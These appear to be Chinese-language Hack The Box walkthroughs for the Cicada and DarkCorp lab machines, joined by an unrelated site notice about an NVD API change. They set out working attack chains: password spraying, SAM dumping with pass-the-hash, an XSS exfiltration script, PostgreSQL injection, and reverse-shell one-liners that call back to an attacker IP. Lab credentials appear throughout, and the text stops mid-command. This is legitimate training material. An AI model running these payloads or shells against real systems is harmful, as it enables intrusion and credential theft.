TLS randomness does not represent time 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 |_ssl-date: TLS randomness does not represent time 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.95%I=7%D=7/27%Time=68853250%P=aarch64-unknown-linux-gnu% SF:r(DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x82\0\x01\0\0\0\0\0\0\x07ve SF:rsion\x04bind\0\0\x10\0\x03"); Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2025-07-26T18:54:52 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: -59m46s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 118.85 seconds通过扫描结果，发现域名cicada.htb，先加入hostsecho "10.10.11.35 cicada.htb" | sudo tee -a /etc/hosts让我们首先检查匿名用户是否可以访问SMB共享驱动器。我们将使用crackmapexec个流行的工具来自动枚举域(包括用户、文件/目录和共享)。让我们尝试通过指定协议、域名和--shares参数来枚举SMB共享。crackmapexec smb cicada.htb --shares扫描结果：SMB cicada.htb 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) SMB cicada.htb 445 CICADA-DC [-] Error enumerating shares: STATUS_USER_SESSION_DELETED如果我们尝试列出账户而不指定用户，就会被拒绝。因此，或许我们可以尝试一些可能正在使用的典型凭据，比如用户名“guest”且无密码。crackmapexec smb cicada.htb -u 'guest' -p '' --shares扫描结果：SMB cicada.htb 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) SMB cicada.htb 445 CICADA-DC [+] cicada.htb\guest: SMB cicada.htb 445 CICADA-DC [+] Enumerated shares SMB cicada.htb 445 CICADA-DC Share Permissions Remark SMB cicada.htb 445 CICADA-DC ----- ----------- ------ SMB cicada.htb 445 CICADA-DC ADMIN$ Remote Admin SMB cicada.htb 445 CICADA-DC C$ Default share SMB cicada.htb 445 CICADA-DC DEV SMB cicada.htb 445 CICADA-DC HR READ SMB cicada.htb 445 CICADA-DC IPC$ READ Remote IPC SMB cicada.htb 445 CICADA-DC NETLOGON Logon server share SMB cicada.htb 445 CICADA-DC SYSVOL Logon server share 看起来我们成功了，访客用户可以访问HR共享。因此我们将使用smbclient查看共享并查看其中可能包含的文件。smbclient //cicada.htb/HRPassword for [WORKGROUP\root]: Try "help" to get a list of possible commands. smb: \> dir . D 0 Thu Mar 14 20:29:09 2024 .. D 0 Thu Mar 14 20:21:29 2024 Notice from HR.txt A 1266 Thu Aug 29 01:31:48 2024 4168447 blocks of size 4096. 481529 blocks available smb: \> get "Notice from HR.txt" getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (0.8 KiloBytes/sec) (average 0.8 KiloBytes/sec)查看内容cat Notice\ from\ HR.txtDear new hire! Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure. Your default password is: Cicada$M6Corpb*@Lp#nZp!8 To change your password: 1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above. 2. Once logged in, navigate to your account settings or profile settings section. 3. Look for the option to change your password. This will be labeled as "Change Password". 4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters. 5. After changing your password, make sure to save your changes. Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password. If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb. Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team! Best regards, Cicada Corp查找SID现在我们已经找到了这个密码，我们可以尝试检查是否有其他帐户仍在使用此密码。所以，我们必须找出域中的所有用户，我们可以使用Impacket的lookupsid。此工具将尝试暴力破解 AD 域中任何用户的WindowsSecurity 标识符(SID)。每个用户都有一个唯一的 SID，该 SID由其相对标识符(RID)与域SID 连接组成。用户 SID 通常由域控制器颁发，用于授权和访问机制，例如构成登录期间创建的访问令牌的一部分。为了枚举域，我们将指定来宾用户、域名，并且不使用密码。impacket-lookupsid 'cicada.htb/guest'@cicada.htb -no-pass[*] Brute forcing SIDs at cicada.htb [*] StringBinding ncacn_np:cicada.htb[\pipe\lsarpc] [*] Domain SID is: S-1-5-21-917908876-1423158569-3159038727 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup) 500: CICADA\Administrator (SidTypeUser) 501: CICADA\Guest (SidTypeUser) 502: CICADA\krbtgt (SidTypeUser) 512: CICADA\Domain Admins (SidTypeGroup) 513: CICADA\Domain Users (SidTypeGroup) 514: CICADA\Domain Guests (SidTypeGroup) 515: CICADA\Domain Computers (SidTypeGroup) 516: CICADA\Domain Controllers (SidTypeGroup) 517: CICADA\Cert Publishers (SidTypeAlias) 518: CICADA\Schema Admins (SidTypeGroup) 519: CICADA\Enterprise Admins (SidTypeGroup) 520: CICADA\Group Policy Creator Owners (SidTypeGroup) 521: CICADA\Read-only Domain Controllers (SidTypeGroup) 522: CICADA\Cloneable Domain Controllers (SidTypeGroup) 525: CICADA\Protected Users (SidTypeGroup) 526: CICADA\Key Admins (SidTypeGroup) 527: CICADA\Enterprise Key Admins (SidTypeGroup) 553: CICADA\RAS and IAS Servers (SidTypeAlias) 571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias) 572: CICADA\Denied RODC Password Replication Group (SidTypeAlias) 1000: CICADA\CICADA-DC$ (SidTypeUser) 1101: CICADA\DnsAdmins (SidTypeAlias) 1102: CICADA\DnsUpdateProxy (SidTypeGroup) 1103: CICADA\Groups (SidTypeGroup) 1104: CICADA\john.smoulder (SidTypeUser) 1105: CICADA\sarah.dantelia (SidTypeUser) 1106: CICADA\michael.wrightson (SidTypeUser) 1108: CICADA\david.orelious (SidTypeUser) 1109: CICADA\Dev Support (SidTypeGroup) 1601: CICADA\emily.oscars (SidTypeUser)在扫描结果中，我们发现了域内的组、用户以及别名信息，这为我们了解整个域的结构提供了帮助。接下来，我们的目标是提取用户列表。因此，我们会聚焦于所有属于 SidTypeUser 类型的条目。为了避免手动筛选的繁琐操作，我们决定重新执行命令，并附加一些参数：使用 grep 来筛选出仅包含用户信息的行，再通过 sed 去除多余内容，仅保留用户名。最后，我们将提取出的用户名写入一个名为 users.txt 的文件中，方便后续使用。impacket-lookupsid 'cicada.htb/guest'@cicada.htb -no-pass | grep 'SidTypeUser' | sed 's/.*\\\(.*\) (SidTypeUser)/\1/' > users.txtuser.txt记录如下Administrator Guest krbtgt CICADA-DC$ john.smoulder sarah.dantelia michael.wrightson david.orelious emily.oscars弱口令我们将使用 crackmapexec 工具。我们会指定包含之前收集到的用户名的文件，并使用默认密码 Cicada$M6Corpb*@Lp#nZp!8。crackmapexec 会对每个用户尝试该密码。crackmapexec smb cicada.htb -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'SMB cicada.htb 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) SMB cicada.htb 445 CICADA-DC [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE SMB cicada.htb 445 CICADA-DC [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE SMB cicada.htb 445 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE SMB cicada.htb 445 CICADA-DC [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE SMB cicada.htb 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE SMB cicada.htb 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE SMB cicada.htb 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 看起来用户 michael.wrightson 使用了默认密码！通过获取到正确的凭据，我们可以继续深入继续枚举。枚举域用户Michael Wrightson 并没有权限访问其他账户，但我们仍然可以借助他的权限列出机器上的其他用户，看看是否能进一步挖掘到更多有价值的信息。crackmapexec smb cicada.htb -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --usersSMB cicada.htb 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) SMB cicada.htb 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 SMB cicada.htb 445 CICADA-DC [+] Enumerated domain user(s) SMB cicada.htb 445 CICADA-DC cicada.htb\emily.oscars badpwdcount: 0 desc: SMB cicada.htb 445 CICADA-DC cicada.htb\david.orelious badpwdcount: 0 desc: Just in case I forget my password is aRt$Lp#7t*VQ!3 SMB cicada.htb 445 CICADA-DC cicada.htb\michael.wrightson badpwdcount: 0 desc: SMB cicada.htb 445 CICADA-DC cicada.htb\sarah.dantelia badpwdcount: 1 desc: SMB cicada.htb 445 CICADA-DC cicada.htb\john.smoulder badpwdcount: 1 desc: SMB cicada.htb 445 CICADA-DC cicada.htb\krbtgt badpwdcount: 1 desc: Key Distribution Center Service Account SMB cicada.htb 445 CICADA-DC cicada.htb\Guest badpwdcount: 1 desc: Built-in account for guest access to the computer/domain SMB cicada.htb 445 CICADA-DC cicada.htb\Administrator badpwdcount: 1 desc: Built-in account for administering the computer/domain 我们可以看见david.orelious 将自己的密码 aRt$Lp#7t*VQ!3 这有助于我们进行提权先看看这个用户有什么共享资源crackmapexec smb cicada.htb -u david.orelious -p 'aRt$Lp#7t*VQ!3' --sharesSMB cicada.htb 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) SMB cicada.htb 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3 SMB cicada.htb 445 CICADA-DC [+] Enumerated shares SMB cicada.htb 445 CICADA-DC Share Permissions Remark SMB cicada.htb 445 CICADA-DC ----- ----------- ------ SMB cicada.htb 445 CICADA-DC ADMIN$ Remote Admin SMB cicada.htb 445 CICADA-DC C$ Default share SMB cicada.htb 445 CICADA-DC DEV READ SMB cicada.htb 445 CICADA-DC HR READ SMB cicada.htb 445 CICADA-DC IPC$ READ Remote IPC SMB cicada.htb 445 CICADA-DC NETLOGON READ Logon server share SMB cicada.htb 445 CICADA-DC SYSVOL READ Logon server share 看起来我们有权访问DEV共享文件夹，让我们看看里面是否有任何有用的信息。使用smbclientsmbclient //cicada.htb/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3'Try "help" to get a list of possible commands. smb: \> dir . D 0 Thu Mar 14 20:31:39 2024 .. D 0 Thu Mar 14 20:21:29 2024 Backup_script.ps1 A 601 Thu Aug 29 01:28:22 2024 4168447 blocks of size 4096. 455745 blocks available smb: \> get Backup_script.ps1 getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)可以看到有个powershell文件，我们把它下载下来┌──(root㉿kali)-[~] └─# cat Backup_script.ps1 $sourceDirectory = "C:\smb" $destinationDirectory = "D:\Backup" $username = "emily.oscars" $password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force $credentials = New-Object System.Management.Automation.PSCredential($username, $password) $dateStamp = Get-Date -Format "yyyyMMdd_HHmmss" $backupFileName = "smb_backup_$dateStamp.zip" $backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"我们可以看到另一组凭据：账号：emily.oscars密码：Q!3@Lp#M6b7tVt !我们想要使用这个凭据尝试获得shell，使用Evil-WinRMevil-winrm -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -i cicada.htbEvil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>成功获得了shell按照惯例，我们应该能在它的桌面看到用户标识文件*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> dir Directory: C:\Users\emily.oscars.CICADA\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 7/26/2025 11:45 AM 34 user.txt *Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> type user.txt 7d42adee91a231cf82fd1b0db6f12dc9拿到用户flag：7d42adee91a231cf82fd1b0db6f12dc9接下来我们就是尝试提权到root用户获得根目录标识先查看当前权限whoami /privPRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled我们发现她居然拥有 SeBackupPrivilege 权限，这通常是赋予服务账户或管理员用户的权限。这个权限的设计初衷是为了便于系统备份，因此它可以绕过现有权限机制访问受系统保护的文件。简单来说，我们可以利用这些注册表文件来提取用户的 NTLM 哈希，然后使用管理员账户的哈希值进行认证，从而绕过明文密码的限制。具体来说：SAM（Security Account Manager）注册表配置文件包含本地用户账户和组的成员关系信息，其中也包括用户密码的哈希值；SYSTEM 配置文件中保存了系统范围的配置，例如用于解密 SAM 中密码哈希的系统启动密钥。接下来我们将使用 reg save 命令从注册表中导出这两个配置文件，指定对应的注册表路径，并将其保存为当前目录下的文件，供后续分析使用。reg save hklm\sam sam reg save hklm\system system接着下载这两个文件download sam download system现在我们已经将这些文件保存到本地机器上，可以使用 Impacket 工具包中的 secretsdump 模块来提取用户的 NTLM 哈希。 NTLM 哈希是用户明文密码的加密表示形式。一旦获取这些哈希，我们可以尝试进行破解，或者直接利用它们执行 Pass-the-Hash 攻击，从而在无需明文密码的情况下直接认证登录系统。为了提取哈希，我们需要指定以下参数：-sam：指向 SAM 文件 的路径，其中包含加密的密码数据；-system：指向 SYSTEM 文件 的路径，其中包含用于解密 SAM 文件所需的启动密钥（boot key）；local：表明我们操作的是本地文件，而非远程访问。impacket-secretsdump -sam sam -system system localImpacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Cleaning up...在输出结果中，我们找到了 Administrator 用户的 NTLM 哈希值：2b87e7c93a3e8a0ea4a581937016f341。 我们可以使用该哈希通过 Evil-WinRM 工具直接登录该账户，方法是将该哈希作为 -H 参数传入进行 Pass-the-Hash 攻击。evil-winrm -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341 -i cicada.htb成功登陆，接下来的事情就很简单了，从桌面拿到root.txt，也就是根用户标识*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir Directory: C:\Users\Administrator\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 7/26/2025 11:45 AM 34 root.txt *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt 3dd50f0b8cfe331441ee707b710c76e7根用户flag：3dd50f0b8cfe331441ee707b710c76e7
由于美国国家标准与技术研究院（NIST）于 2025 年 7 月 24 日对其国家漏洞数据库（NVD）API 请求方式进行了更新，本站的 CVE 漏洞监测服务因此受到影响并导致中断。现已完成对新接口规范的适配与兼容性升级，相关服务已全面恢复运行。关于 CVSS v4.0 评分体系的适配工作仍在进行中，相关功能将在后续版本中陆续上线，敬请期待。您可通过以下链接查看 NIST 官方更新公告：🔗 https://www.nist.gov/itl/nvd感谢您的理解与支持。
AI摘要：该博客文章详细记录了 HTB 平台上 “DarkCorp” 靶场的渗透测试全过程。DarkCorp 是一道高难度(Insane)的企业内网靶机，模拟了一个拥有邮件系统、用户门户、数据库服务和 Windows 域环境的中大型公司网络。 作者首先利用 Nmap、Gobuster 等工具进行信息收集，发现多个子域与服务。通过邮件劫持和 XSS 注入获取重置链接，控制管理员账号后进一步发起 SQL 注入攻击，成功从 PostgreSQL 数据库中获取凭据，并建立反弹 shell。 在拿下初始主机权限后，作者深入内网，发现 Windows 域控服务，通过 BloodHound 收集权限图谱，再结合 LDAP 爆破与 GPO 权限配置，实现本地管理员权限提升。最终使用工具转储 hash，成功获取域控 SYSTEM 权限。引言Hack The Box 的赛季靶机 DarkCorp，难度 Insane。本文将带你以轻松的方式体验这场顶级难度的靶机挑战，深入剖析从外部突破到域管理员提权的完整过程。技术点涉及：端口扫描、子域枚举、目录爆破、XSS 漏洞利用（CVE-2024-42008）、SQL 注入、PostgreSQL 命令执行、凭据窃取、邮件伪造、内网转发、日志分析、密码破解、备份解密、BloodHound 域分析、GPO 权限滥用、AMSI 绕过、域管理员提权。目标与读者：网络安全爱好者、红队选手，适合对域渗透、Web 漏洞利用及 Active Directory 攻防感兴趣的从业者和学习者。本机ip：10.10.16.2目标ip：10.10.11.54nmap -sC -sV 10.10.11.54先直接访问，发现跳转到了http://drip.htb域名，但无法连接将域名和ip加入hostsecho "10.10.11.54 drip.htb" | sudo tee -a /etc/hosts能访问了，但http://drip.htb里什么都没有（）使用gobuster进行子域名爆破收集gobuster vhost -u http://drip.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain使用gobuster进行目录爆破收集gobuster dir -u http://drip.htb -t 20 -H 'User-Agent:Mozilla' -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -b 401,403,404,500 -o 80.log将子域名加入hostsecho "10.10.11.54 mail.drip.htb" | sudo tee -a /etc/hosts发现可以sign up可以注册先注册一个账号1：bushsec密码1：123456登陆：没什么收获，我们重新注册一个用户，以root当作账户名账户2：root密码2：123456我们又有了两个收获一是获得两个用户名：ebelford和support。二是可以发现，每隔2分钟，网站会运行一个名为mail_clean.sh的脚本。从About选项卡可以看到邮件系统的信息接下来，我们把目光看向首页的Contact Us使用yakit劫持，将support%40drip.htb改成我们的邮箱地址root%40drip.htb在给support发邮件时，如果yakit中断并将地址改为我们的邮件地址，可以收到求助邮件，并得到 bcase用户名。yakit中断后，发送的原始内容如下。message= Foo &content=html&recipient=bcase@drip.htbbase64编码后如下。name=test&email=test%40test.com&message=%3Cbody+title%3D%22bgcolor%3Dfoo%22+name%3D%22bar+style%3Danimation-name%3Aprogress-bar-stripes+onanimationstart%3Ddocument.body.appendChild%28Object.assign%28document.createElement%28%27script%27%29%2C%7Bsrc%3A%27http%3A%2F%2F10.10.16.2%2F%3Fc%3D%27%2Bbtoa%28document.documentElement.innerHTML%29%7D%29%29++foo%3Dbar%22%3E%0D%0A++Foo%0D%0A%3C%2Fbody%3E&content=html&recipient=bcase%40drip.htbcontent=html 暗示服务端将 message` 作为 HTML 内容渲染这是利用漏洞的前提。message= 中直接插入 标签，包含了 HTML 属性注入和 JS 执行：触发点：PHPMailer 在未净化的情况下将 message 作为 HTML 写入邮件内容中HTMX 在处理 HX-Request 请求的响应时，对于 text/html 类型的内容会直接 innerHTML 替换页面部分内容，从而造成 XSS。若 HTMX 的响应中带有 标签，而解析器允许这个 body 的属性触发事件（例如 onanimationstart），就可能造成 非传统的 HTML 属性注入 + JS 执行链。从网上寻找自动化脚本，我们只需要修改ip即可import sys import requests from http.server import BaseHTTPRequestHandler, HTTPServer import base64 import threading from lxml import html # Configuration TARGET_URL = 'http://drip.htb/contact' LISTEN_PORT = 8000 LISTEN_IP = '10.10.16.2' # Payload for the POST request start_mesg = ' r.text()).then(t=>fetch(`http://10.10.16.2:8000/c=${btoa(t)}`)) foo=bar">Foo ' post_data = { 'name': 'asdf', 'email': 'asdf', 'message': f"{start_mesg}{message}{end_mesg}", 'content': 'html', 'recipient': 'bcase@drip.htb' } print(f"{start_mesg}{message}{end_mesg}") # Headers for the POST request headers = { 'Host': 'drip.htb', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'Origin': 'http://drip.htb', 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Referer': 'http://drip.htb/index', 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.9', 'Cookie': 'session=eyJfZnJlc2giOmZhbHNlfQ.Z6fOBw.u9iWIiki2cUK55mmcizrzU5EJzE', 'Connection': 'close' } # Function to send the POST request def send_post(): response = requests.post(TARGET_URL, data=post_data, headers=headers) print(f"[+] POST Request Sent! Status Code: {response.status_code}") # Custom HTTP request handler to capture and decode the incoming data class RequestHandler(BaseHTTPRequestHandler): def do_GET(self): if '/c=' in self.path: encoded_data = self.path.split('/c=')[1] decoded_data = base64.b64decode(encoded_data).decode('latin-1') print(f"[+] Received data {decoded_data}") tree = html.fromstring(decoded_data) # XPath query to find the div with id 'messagebody' message_body = tree.xpath('//div[@id="messagebody"]') # Check if the div exists and extract the content if message_body: print(f"message_body lengith is:{len(message_body)}") for bd in message_body: # Extract inner text, preserving line breaks #message_text = message_body[0].text_content().strip() message_text = bd.text_content().strip() print("[+] Extracted Message Body Content:\n") print(message_text) else: print("[!] No div with id 'messagebody' found.") else: print("[!] Received request but no data found.") self.send_response(200) self.end_headers() self.wfile.write(b'OK') def log_message(self, format, *args): return # Suppress default logging # Function to start the HTTP server def start_server(): server_address = (LISTEN_IP, LISTEN_PORT) httpd = HTTPServer(server_address, RequestHandler) print(f"[+] Listening on port {LISTEN_PORT} for exfiltrated data...") httpd.serve_forever() # Run the HTTP server in a separate thread server_thread = threading.Thread(target=start_server) server_thread.daemon = True server_thread.start() # Send the POST request send_post() # Keep the main thread alive to continue listening try: while True: pass except KeyboardInterrupt: print("\n[+] Stopping server.")执行python3 1.py 2将uid改为2后，我们得到得到一个新的域名dev-a3f1-01.drip.htb，且邮件说Bryce(也就是bcase用户）登录时需要重置密码。将新域名加入hosts后访问，这个界面有一个Reset Password选项。首先添加hostsecho "10.10.11.54 dev-a3f1-01.drip.htb" | sudo tee -a /etc/hosts 进入控制台进入Login页面后选择Reset Password输入 bcase@drip.htb，点击reset，显示Reset token sent successfully. 发送reset指令后，使用刚才的脚本访问uid=3的邮箱，速度要快。截获到邮箱地址访问重置连接重置密码为123456显示Password successfully changed. 即为重置成功成功登陆控制台搜索框随便输入数字测试数据库发现这是一个postgresql的系统，通过SQL注入，可以获得不少的信息。''; SELECT * FROM pg_ls_dir('/etc/');经过慢慢查找，在/var/www/html/dashboard/.env里查到数据库相关配置。''; SELECT pg_read_file('/var/www/html/dashboard/.env', 0, 10000);# True for development, False for production DEBUG=False # Flask ENV FLASK_APP=run.py FLASK_ENV=development # If not provided, a random one is generated # SECRET_KEY=<YOUR_SUPER_KEY_HERE> # Used for CDN (in production) # No Slash at the end ASSETS_ROOT=/static/assets # If DB credentials (if NOT provided, or wrong values SQLite is used) DB_ENGINE=postgresql DB_HOST=localhost DB_NAME=dripmail DB_USERNAME=dripmail_dba DB_PASS=2Qa2SsBkQvsc DB_PORT=5432 SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail' SQLALCHEMY_TRACK_MODIFICATIONS = True SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq' MAIL_SERVER = 'drip.htb' MAIL_PORT = 25 MAIL_USE_TLS = False MAIL_USE_SSL = False MAIL_USERNAME = None MAIL_PASSWORD = None MAIL_DEFAULT_SENDER = 'support@drip.htb'接着就是获取shell了'';DO $$ DECLARE c text; BEGIN c := CHR(67) || CHR(79) || CHR(80) || CHR(89) || ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.16.2/1234 0>&1"'''; EXECUTE c; END $$;得到shell，并查看自己的权限检查hosts，发现内网机器''; (SELECT password FROM "Users") ''; (SELECT password FROM "Admin")这些hash爆破不出来先查看数据库版本''; SELECT version();尝试查看它的log文件''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log', 0, 10000000);这个日志是空的，看看旧的''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log.1', 0, 10000000);依旧毫无所获。但我们通过''; SELECT * FROM pg_ls_dir('/var/log/postgresql/');发现还有很多压缩的日志文件，我们回到shell,对其进行解压缩cd /var/log/postgresql/ gzip -d -k postgresql-15-main.log.2.gz继续查看''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log.2', 0, 10000000);得到ebelford用户的密码hash为8bbd7f88841b4223ae63c8848969be86解密获得密码：ThePlague61780sshpass -p'ThePlague61780' ssh -o StrictHostKeyChecking=no ebelford@drip.htb在/var/backups目录中，我们可以找到数据库用户postgres的备份:ebelford@drip:~$ ls -la /var/backups | grep postgres drwx------ 2 postgres postgres 4096 Feb 5 12:52 postgres我们需要一个PostgreSQL用户。让我们看看Web应用程序ebelford@drip:~$ ls -la /var/www/html/dashboard/ total 36 drwxr-xr-x 5 root root 4096 Jan 16 2025 . drwxr-xr-x 4 root root 4096 Jan 13 2025 .. -rw-r--r-- 1 root root 796 Jan 15 2025 .env drwxr-xr-x 2 root root 4096 Jan 10 2025 __pycache__ lrwxrwxrwx 1 root root 18 Dec 19 2024 app_venv -> /var/www/app_venv/ drwxr-xr-x 7 root root 4096 Jan 10 2025 apps -rw-r--r-- 1 root root 198 Dec 17 2024 gunicorn-cfg.py drwxr-xr-x 2 root root 4096 Jan 10 2025 media -rw-r--r-- 1 root root 330 Dec 17 2024 requirements.txt -rw-r--r-- 1 root root 1037 Dec 19 2024 run.py ebelford@drip:~$ cat /var/www/html/dashboard/.env # True for development, False for production DEBUG=False # Flask ENV FLASK_APP=run.py FLASK_ENV=development # If not provided, a random one is generated # SECRET_KEY=<YOUR_SUPER_KEY_HERE> # Used for CDN (in production) # No Slash at the end ASSETS_ROOT=/static/assets # If DB credentials (if NOT provided, or wrong values SQLite is used) DB_ENGINE=postgresql DB_HOST=localhost DB_NAME=dripmail DB_USERNAME=dripmail_dba DB_PASS=2Qa2SsBkQvsc DB_PORT=5432 SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail' SQLALCHEMY_TRACK_MODIFICATIONS = True SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq' MAIL_SERVER = 'drip.htb' MAIL_PORT = 25 MAIL_USE_TLS = False MAIL_USE_SSL = False MAIL_USERNAME = None MAIL_PASSWORD = None MAIL_DEFAULT_SENDER = 'support@drip.htb' 得到数据库密码是2Qa2SsBkQvsc接着让我们获得这个shell本机执行nc -lnvp 4242ebelford的shell执行psql -h localhost -U dripmail_dba -d dripmailCOPY (SELECT pg_backend_pid()) TO PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.2 4242 >/tmp/f';拿到权限首先本机生成密钥对ssh-keygen -t ed25519 -f ~/.ssh/drip_key查看公钥cat ~/.ssh/drip_key.pubpostgres@drip上将自己的公钥echo上去mkdir -p ~/.sshecho "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOjO8SJLIkNvr+JMFxdzVJsEyyLZKpH6lxlamKQap42U root@kali" > ~/.ssh/authorized_keys本机ssh连接ssh -i ~/.ssh/drip_key postgres@drip.htb拿下权限看看备份postgres@drip:~$ ls -la /var/backups/postgres/ total 12 drwx------ 2 postgres postgres 4096 Feb 5 12:52 . drwxr-xr-x 3 root root 4096 Feb 11 08:10 .. -rw-r--r-- 1 postgres postgres 1784 Feb 5 12:52 dev-dripmail.old.sql.gpg 让我们尝试使用数据库密码解密旧备份gpg --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback --passphrase '2Qa2SsBkQvsc' --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > /var/backups/postgres/dev-dripmail.old.sql解密成功查看内容cat /var/backups/postgres/dev-dripmail.old.sql拿到密钥1 bcase dc5484871bc95c4eab58032884be7225 bcase@drip.htb 2 victor.r cac1c7b0e7008d67b6db40c03e76b9c0 victor.r@drip.htb 3 ebelford 8bbd7f88841b4223ae63c8848969be86 ebelford@drip.htb得到新的账号密码账号：victor.r密码：victor1gustavo@#现在我们应该扫描内部网络以查找主机和开放端口让我们使用sshuttle进行转发:sshuttle -r 